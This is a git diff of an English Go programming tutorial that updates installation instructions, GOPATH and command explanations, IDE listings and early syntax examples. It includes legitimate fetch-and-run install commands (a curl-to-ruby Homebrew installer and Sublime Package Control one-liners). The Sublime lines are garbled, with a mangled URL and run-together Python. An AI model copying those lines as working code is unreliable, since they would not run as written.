`~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` (The later version has no 32-bit download.)for 32-bit systems and `go1.8.3.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1. ### Linux -Go to the [download page](https://golang.org/dl/), choose `go1.8.1.linux-386.tar.gz` for 32-bit systems and `go1.8.1.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.8.1.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.8.3.linux-386.tar.gz` for 32-bit systems and `go1.8.3.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. ### Windows -Go to the [download page](https://golang.org/dl/), choose `go1.8.1.windows-386.msi` for 32-bit systems and `go1.8.1.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.8.3.windows-386.msi` for 32-bit systems and `go1.8.3.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. ## Use third-party tools @@ -96,8 +99,8 @@ GVM is a Go multi-version control tool developed by a third-party, like rvm for Then we install Go using the following commands: - gvm install go1.8.1 - gvm use go1.8.1 + gvm install go1.8.3 + gvm use go1.8.3 After the process has finished, you're all set. @@ -112,30 +115,32 @@ Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` t ### wget ```sh -wget https://storage.googleapis.com/golang/go1.8.1.linux-amd64.tar.gz -sudo tar -xzf go1.8.1.linux-amd64.tar.gz -C /usr/local +wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz +sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local # Go environment export GOROOT=/usr/local/go export GOBIN=$GOROOT/bin export PATH=$PATH:$GOBIN -export GOPATH=HOME/gopath +export GOPATH=$HOME/gopath ``` -Starting from go 1.8, The GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows. +Starting from go 1.8, The GOPATH environment variable now has a default value if it is unset. It defaults to `$HOME/go` on Unix and `%USERPROFILE%/go` on Windows. ### Homebrew Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go. -1.Install Homebrew +1. Install Homebrew ```sh /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" ``` -2.Install Go +2. Install Go + +```sh brew update && brew upgrade brew install go - +``` ## Links - [Directory](preface.md) diff --git a/en/01.2.md b/en/01.2.md index 92f6fd619..4c794ada0 100644 --- a/en/01.2.md +++ b/en/01.2.md @@ -1,26 +1,26 @@ -#1.2 $GOPATH and workspace +# 1.2 $GOPATH and workspace ## $GOPATH -Go takes a unique approach to manage the code files with the introduction of a `$GOPATH` directory which contains all the go code in the machine. Note that this is different from the `$GOROOT` environment variable which states where go is installed on the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called `.profile` we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity. +Go takes a unique approach to manage the code files with the introduction of a `$GOPATH` directory which contains all the go code on the machine. Note that this is different from the `$GOROOT` environment variable which states where go is installed on the machine. We have to define the `$GOPATH` variable before using the language, in *nix systems there is a file called `.profile` we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity. -Starting from go 1.8, the GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows. +Starting from go 1.8, the GOPATH environment variable now has a default value if it not set: it defaults to `$HOME/go` on Unix and `%USERPROFILE%/go` on Windows. -In Unix-like systems, the variable should be used like this: +On Unix-like systems, the variable should be used like this: export GOPATH=${HOME}/mygo In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) -It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. It is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as , and this breaks all the applications which will import your package because the `go get` won't find your package. Please follow conventions, there is a reason conventions are created. +It's OK to have more than one path (workspace) in `$GOPATH`, but remember that you have to use `:`(`;` in Windows) to separate them. At this point, `go get` will save the content to your first path in `$GOPATH`. It is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside `$GOPATH`, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside `$GOPATH` you will reference your packages as directly as , and this breaks all the applications which will import your package because the `go get` won't find your package. Please follow conventions, there is a reason conventions are created. -In $GOPATH, you must have three folders as follows: +In `$GOPATH`, you must have three folders as follows: - `src` for source files whose suffix is .go, .c, .g, .s. - `pkg` for compiled files whose suffix is .a. - `bin` for executable files -In this book, I use `mygo` as my only path in $GOPATH. +In this book, I use `mygo` as my only path in `$GOPATH`. ## Package directory @@ -34,19 +34,19 @@ Execute following commands. ( ***Now author goes back to talk examples*** ) mkdir mymath Create a new file called `sqrt.go`, type the following content to your file. +```Go +// Source code of $GOPATH/src/mymath/sqrt.go +package mymath - // Source code of $GOPATH/src/mymath/sqrt.go - package mymath - - func Sqrt(x float64) float64 { - z := 0.0 - for i := 0; i < 1000; i++ { - z -= (z*z - x) / (2 * x) - } - return z +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) } - -Now my package directory has been created and it's code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files. + return z +} +``` +Now my package directory has been created and its code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files. ## Compile packages @@ -76,17 +76,17 @@ Write the following content to main.go. ```Go - //$GOPATH/src/mathapp/main.go source code. - package main - - import ( - "mymath" - "fmt" - ) - - func main() { - fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) - } +//$GOPATH/src/mathapp/main.go source code. +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} ``` To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal. @@ -95,13 +95,13 @@ To compile this application, you need to switch to the application directory, wh ## Install remote packages -Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad. +Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including GitHub, Google Code, BitBucket, and Launchpad. go get github.com/astaxie/beedb You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well. -This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. +This tool will use different version control tools for different open source platforms. For example, `git` for GitHub and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. After executing the above commands, the directory structure should look like following. @@ -116,11 +116,11 @@ After executing the above commands, the directory structure should look like fol |-astaxie |-beedb.a -Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`. +Actually, `go get` clones source code to the `$GOPATH/src` of the local file system, then executes `go install`. You can use remote packages in the same way that we use local packages. ```Go - import "github.com/astaxie/beedb" +import "github.com/astaxie/beedb" ``` ## Directory complete structure @@ -145,7 +145,7 @@ If you've followed all of the above steps, your directory structure should now l beedb.go util.go -Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. +Now you are able to see the directory structure clearly: `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. (The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.) diff --git a/en/01.3.md b/en/01.3.md index 8a9520197..300c749bb 100644 --- a/en/01.3.md +++ b/en/01.3.md @@ -1,4 +1,4 @@ -#1.3 Go commands +# 1.3 Go commands ## Go commands @@ -49,16 +49,16 @@ I usually use this command to clean up my files before I upload my project to Gi The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk more about IDEs in the next section. -`go fmt` is just an alias, which runs the command 'gofmt -l -w' on the packages named by the import paths. +`go fmt` is just an alias, which runs the command `gofmt -l -w` on the packages named by the import paths. We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project. ## go get -This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. +This command is for getting remote packages. So far, it supports BitBucket, GitHub, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. BitBucket (Mercurial Git) - Github (git) + GitHub (git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) @@ -79,11 +79,11 @@ This command loads all files whose name include `*_test.go` and generates test f It tests all your test files by default. Use command `go help testflag` for more details. -## godoc +## go doc & godoc Many people say that we don't need any third-party documentation for programming in Go (actually I've made a [CHM](https://github.com/astaxie/godoc) already). Go has a powerful tool to manage documentation natively. -So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `godoc builtin` command. Similarly, use the `godoc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code. +So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `go doc builtin` command. Similarly, use the `go doc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `go doc fmt.Printf` and `go doc -src fmt.Printf` commands to view the source code. Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. diff --git a/en/01.4.md b/en/01.4.md index 7d9bba0bf..e81382624 100644 --- a/en/01.4.md +++ b/en/01.4.md @@ -115,12 +115,12 @@ First, download the version of [Sublime](http://www.sublimetext.com/) suitable f Applicable to Sublime Text 3: ```Go - import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) +import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) ``` Applicable to Sublime Text 2: ```Go - import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') +import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') ``` Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. @@ -458,7 +458,7 @@ People who have worked with Java should be familiar with this IDE. It supports G ## Visual Studio VSCode -This is an awesome text editor released as open source cross platform my Microsoft which takes the development experience to a while new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast. +This is an awesome text editor released as open source cross platform by Microsoft which takes the development experience to a whole new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast. It works with Windows, Mac, Linux. It has go package built, it provides code linting. @@ -468,13 +468,11 @@ Atom is an awesome text editor released as open source cross platform, built on Download: https://atom.io/ -## Gogland +## GoLand -Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. +GoLand is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. -The official version is not yet released。 - -Download:https://www.jetbrains.com/go/ +Download: https://www.jetbrains.com/go/ ## Links diff --git a/en/01.5.md b/en/01.5.md index 8bb67ba10..2538998a9 100644 --- a/en/01.5.md +++ b/en/01.5.md @@ -1,6 +1,6 @@ # 1.5 Summary -In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, Goglang, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. +In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, GoLand, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. ## Links diff --git a/en/02.1.md b/en/02.1.md index 2f5848608..2aab7016d 100644 --- a/en/02.1.md +++ b/en/02.1.md @@ -6,32 +6,34 @@ The Go programming language was created with one goal in mind, to be able to bui public static void main() { } - - or - public static void main() + + or + public static void main() { } ``` -or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. +or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. If you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. + +While this might seem to be a shallow problem, when the codebase grows and more and more people work on the same code base it is becomes increasingly difficult to maintain the code's "beauty." We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code. -While this might seem to be a shallow problem at the top, but when the codebase grows and more and more people are working on the same code base, then it is difficult to maintain the code's "beauty", if you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code. +For other languages there are many variables when it comes to writing code. Every language is good for its use case, but Go is a little special because it was designed at a company which is the very synonym of the Internet (and distributed computing). Typically in order to optimize programs, developers choose to write Java over Python and C++ over Java, but almost all available languages widely in use were written decades ago when 1GB storage was much pricier. Now storage and computing is relatively cheap and computers are getting multiples cores, but the "old languages" are not harnessing concurrency in a way that go does. It's not because those languages are bad; utilizing concurrency wasn't a relevant usecase while the older languages evolved. -For other languages there are many variables when it comes to writing code, every language is good for its use case, but Go is a little special in that turf because it was designed at a company which is the very synonym of the Internet (and distributed computing), typically the flow of writing code goes from Python to Java to C++ for optimization purposes, but the problem is that almost all languages which are widely in use right now were written decades ago when 1GB storage came at a much higher price compared to now, where storage and computing has gotten cheap. Computers are getting multiples cores these days and the "old languages" don't harness concurrency in a way that go does, not because those languages are bad, but simply because that usecase wasn't relevant when the languages evolved. +To mitigate all the problems that Google faced with current tools, they wrote a systems language called Go which you are about to learn! There are many advantages to using golang and there are disadvantages too, for every coin has both sides. One of the significant improvements is in code formatting. Google has designed the language to avoid debates on code formatting. Go code written by anyone in the world (assuming they know and use `gofmt`) will look exactly the same. This won't seem to matter until you work in a team! Also when the company uses automated code review or some other fancy technique, the formatted code may break in other languages which don't have strict and standard formatting rules, but not in go! -So to mitigate all the problems that Google faced with the current tools, they wrote a systems language called Go, which you are about to learn! There are many advantages to using golang, and there might be disadvantages too for every coin has both sides. But significant improvements in places like code formatting, since they designed the language in such a way that there won't be wars on how to format code, the gocode written by anyone in the world (assuming they know and use `gofmt`) will look exactly the same, this won't seem to matter until you work in a team! also when the company uses automated code review or some other fancy technique then in other languages which don't have strict and standard formatting rules then the code might get screwed up, but not in go! +Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an [amazing post](https://blog.golang.org/concurrency-is-not-parallelism) by Rob Pike on the [golang blog](https://blog.golang.org/), you will find it there, it is worth a read. -Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an amazing post by Rob Pike on the golang blog, blog.golang.org, you will find it there, it is worth a read. +Another very important change that is the concept of `GOPATH`. Gone are the days when you had to create a folder called `code` and then create workspaces for eclipse and what not. Now you have to keep one folder tree for go code which will be updated by the package manager automatically. It is also recommended to create folders with either a custom domain or the GitHub domain, for example I created a task manager using golang so I created a set of folders +`~/go/src/github.com/thewhitetulip/Tasks` -Another very important change that go has brought in programming that I personally love is the concept of `GOPATH`, gone are the days when you had to create a folder called `code` and then create workspaces for eclipse and what not, now you have to keep one folder tree for go code and it'll be updated by the package manager automatically. Also under the code we are recommended to create folders with either a custom domain or the github domain, for example I created a task manager using golang so I created a set of folders -`~/go/src/github.com/thewhitetulip/Tasks` note: In *nix systems `~` stands for home directory, which is the windows equivalent of `C:\\Users\\username` -now the `~/go/` is the universe for the gocode in your machine, it is just a significant improvement over other languages so we can store the code efficiently without hassles, it might seem strange at first, but it does make a lot of sense over the ridiculous package names some other languages use like reverse domains. +**Note:** In *nix systems `~` stands for home directory, which is the windows equivalent of `C:\\Users\\username`. +Now the `~/go/` is the universe for the gocode in your machine. This is a significant improvement over other languages; we can store the code efficiently without hassles. While it might seem strange at first, this approach make a lot of sense than the ridiculous package names, i.e. package names generated for other languages using reverse domains. -note: along with src there are two folders `pkg` which is for packages and `bin` which is for binary +**Note:** Along with `src` there are two folders `pkg` which is for packages and `bin` which is for binary. -This `GOPATH` advantage isn't just restricted to storing code in particular folder, but when you have created five packages for your project then you don't have to import them like `"import ./db"`, you can give it `import "github.com/thewhitetulip/Tasks/db"`, so while doing a `go get` on my repo, the `go` tool will find the package from `github.com/...` path if it wasn't downloaded initially, it just standardizes a lot of screwed up things in the programming discipline. +This `GOPATH` advantage isn't just restricted to storing code in particular folder. When you have created five packages for your project, you don't have to import them like `"import ./db"`. Instead you can use `import "github.com/thewhitetulip/Tasks/db"` so that when executing `go get` on my repo, the `go` tool will find the package from `github.com/...` path if it wasn't downloaded initially. This standardizes a lot of screwed up things in the programming discipline. (<-- To remove and replace with actual explanation of why this is better) -While some complain that go creators have ignored all language research done since the past 30yrs, well, it might be true, but then again you can' create a product or a language which everyone will fall in love with, there are always some or the other use cases or constraints which the creators should consider, and considering all the advantages at least for web development I do not think any language gets close to the advantages which `go` has even if you ignore all that I said above, go is a compiled language which means in production you'll not setup a `JVM` or a `virtualenv` you will have a single static binary! And like an icing on a cake, all the modern libraries are in the standard library, like the `http`, which is a major advantage, which is the reason you can create webapps in golang without using a third party web framework +While there may be some founded complaints that go creators have ignored all language research done since the past 30yrs, you cannot create a product or a language which everyone will fall in love with. There are always some or the other use cases or constraints which the creators should consider. Considering all the advantages at least for web development I do not think any language gets close to the advantages which `go` has even if you ignore all that I said above. Go is a compiled language which means in production, you won't have to setup a `JVM` or a `virtualenv` and will instead have a single static binary! Like an icing on a cake, all the modern libraries are in the standard library, such as the `http` lib, allowing you to create webapps in golang without using a third party web framework. # 2.1 Hello, Go @@ -44,17 +46,17 @@ According to international practice, before you learn how to program in some lan Are you ready? Let's Go! ```Go package main - + import "fmt" - + func main() { - fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") + fmt.Printf("Hello, world or 你好,世界 or Καλημέρα κόσμε or こんにちは世界\n") } -``` +``` It prints following information. - Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 - + Hello, world or 你好,世界 or Καλημέρα κόσμε or こんにちは世界 + ## Explanation One thing that you should know in the first is that Go programs are composed by `package`. @@ -75,7 +77,7 @@ On the sixth line, we called the function `Printf` which is from the package `fm As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. -You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. +You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. Each go file is in some package, and that package should be a distinct folder in the GOPATH, but main is a special package which doesn't require a `main` folder. This is one aspect which they left out for standardization! But should you choose to make a main folder then you have to ensure that you run the binary properly. Also one go code can't have more than one `main` go file. diff --git a/en/02.2.md b/en/02.2.md index e4839a7c0..c34bff2fe 100644 --- a/en/02.2.md +++ b/en/02.2.md @@ -8,76 +8,76 @@ There are many forms of syntax that can be used to define variables in Go. The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. ```Go - // define a variable with name “variableName” and type "type" - var variableName type +// define a variable with name “variableName” and type "type" +var variableName type ``` Define multiple variables. ```Go - // define three variables which types are "type" - var vname1, vname2, vname3 type -``` +// define three variables which types are "type" +var vname1, vname2, vname3 type +``` Define a variable with initial value. ```Go - // define a variable with name “variableName”, type "type" and value "value" - var variableName type = value -``` +// define a variable with name “variableName”, type "type" and value "value" +var variableName type = value +``` Define multiple variables with initial values. ```Go - /* +/* Define three variables with type "type", and initialize their values. vname1 is v1, vname2 is v2, vname3 is v3 - */ - var vname1, vname2, vname3 type = v1, v2, v3 -``` +*/ +var vname1, vname2, vname3 type = v1, v2, v3 +``` Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found -this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, +this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead: ```Go - /* +/* Define three variables without type "type", and initialize their values. vname1 is v1,vname2 is v2,vname3 is v3 - */ - var vname1, vname2, vname3 = v1, v2, v3 -``` +*/ +var vname1, vname2, vname3 = v1, v2, v3 +``` Well, I know this is still not simple enough for you. Let's see how we fix it. ```Go - /* +/* Define three variables without type "type" and without keyword "var", and initialize their values. vname1 is v1,vname2 is v2,vname3 is v3 - */ - vname1, vname2, vname3 := v1, v2, v3 -``` -Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables. +*/ +vname1, vname2, vname3 := v1, v2, v3 +``` +Now it looks much better. Use `:=` to replace `var` and `type`, this is called a **short assignment**. It has one limitation: this form can only be used inside of a functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables. `_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) ```Go - _, b := 34, 35 -``` +_, b := 34, 35 +``` If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. ```Go - package main +package main - func main() { - var i int - } -``` +func main() { + var i int +} +``` ## Constants So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. Define constants as follows. ```Go - const constantName = value - // you can assign type of constants if it's necessary - const Pi float32 = 3.1415926 +const constantName = value +// you can assign type of constants if it's necessary +const Pi float32 = 3.1415926 ``` More examples. ```Go - const Pi = 3.1415926 - const i = 10000 - const MaxThread = 10 - const prefix = "astaxie_" -``` +const Pi = 3.1415926 +const i = 10000 +const MaxThread = 10 +const prefix = "astaxie_" +``` ## Elementary types ### Boolean @@ -89,22 +89,22 @@ var isActive bool // global variable var enabled, disabled = true, false // omit type of variables func test() { - var available bool // local variable - valid := false // brief statement of variable - available = true // assign value to variable + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable } -``` +``` ### Numerical types Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. ```Go - var a int8 +var a int8 - var b int32 +var b int32 - c := a + b +c := a + b ``` Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) @@ -112,52 +112,52 @@ Float types have the `float32` and `float64` types and no type called `float`. T That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is the imaginary number. There is a example of complex number. ```Go - var c complex64 = 5+5i - //output: (5+5i) - fmt.Printf("Value is: %v", c) -``` +var c complex64 = 5+5i +//output: (5+5i) +fmt.Printf("Value is: %v", c) +``` ### String We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. ```Go - // sample code - var frenchHello string // basic form to define string - var emptyString string = "" // define a string with empty string - func test() { - no, yes, maybe := "no", "yes", "maybe" // brief statement - japaneseHello := "Ohaiou" - frenchHello = "Bonjour" // basic form of assign values - } +// sample code +var frenchHello string // basic form to define string +var emptyString string = "" // define a string with empty string +func test() { + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiou" + frenchHello = "Bonjour" // basic form of assign values +} ``` It's impossible to change string values by index. You will get errors when you compile the following code. ```Go - var s string = "hello" - s[0] = 'c' -``` +var s string = "hello" +s[0] = 'c' +``` What if I really want to change just one character in a string? Try the following code. ```Go - s := "hello" - c := []byte(s) // convert string to []byte type - c[0] = 'c' - s2 := string(c) // convert back to string type - fmt.Printf("%s\n", s2) -``` +s := "hello" +c := []byte(s) // convert string to []byte type +c[0] = 'c' +s2 := string(c) // convert back to string type +fmt.Printf("%s\n", s2) +``` You use the `+` operator to combine two strings. ```Go - s := "hello," - m := " world" - a := s + m - fmt.Printf("%s\n", a) -``` +s := "hello," +m := " world" +a := s + m +fmt.Printf("%s\n", a) +``` and also. ```Go - s := "hello" - s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. - fmt.Printf("%s\n", s) -``` +s := "hello" +s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. +fmt.Printf("%s\n", s) +``` What if I want to have a multiple-line string? ```Go - m := `hello +m := `hello world` ``` ``` ` ``` will not escape any characters in a string. @@ -166,11 +166,11 @@ What if I want to have a multiple-line string? Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. ```Go - err := errors.New("emit macho dwarf: elf header corrupted") - if err != nil { - fmt.Print(err) - } -``` +err := errors.New("emit macho dwarf: elf header corrupted") +if err != nil { + fmt.Print(err) +} +``` ### Underlying data structure The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox's Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. @@ -187,55 +187,55 @@ If you want to define multiple constants, variables or import packages, you can Basic form. ```Go - import "fmt" - import "os" +import "fmt" +import "os" - const i = 100 - const pi = 3.1415 - const prefix = "Go_" +const i = 100 +const pi = 3.1415 +const prefix = "Go_" - var i int - var pi float32 - var prefix string -``` +var i int +var pi float32 +var prefix string +``` Group form. ```Go - import( - "fmt" - "os" - ) - - const( - i = 100 - pi = 3.1415 - prefix = "Go_" - ) - - var( - i int - pi float32 - prefix string - ) -``` +import( + "fmt" + "os" +) + +const( + i = 100 + pi = 3.1415 + prefix = "Go_" +) + +var( + i int + pi float32 + prefix string +) +``` Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. ### iota enumerate Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. ```Go - const( - x = iota // x == 0 - y = iota // y == 1 - z = iota // z == 2 - w // If there is no expression after the constants name, it uses the last expression, - //so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well. - ) +const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after the constants name, it uses the last expression, + //so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well. +) - const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. - - const ( - e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. - ) +const v = iota // once iota meets 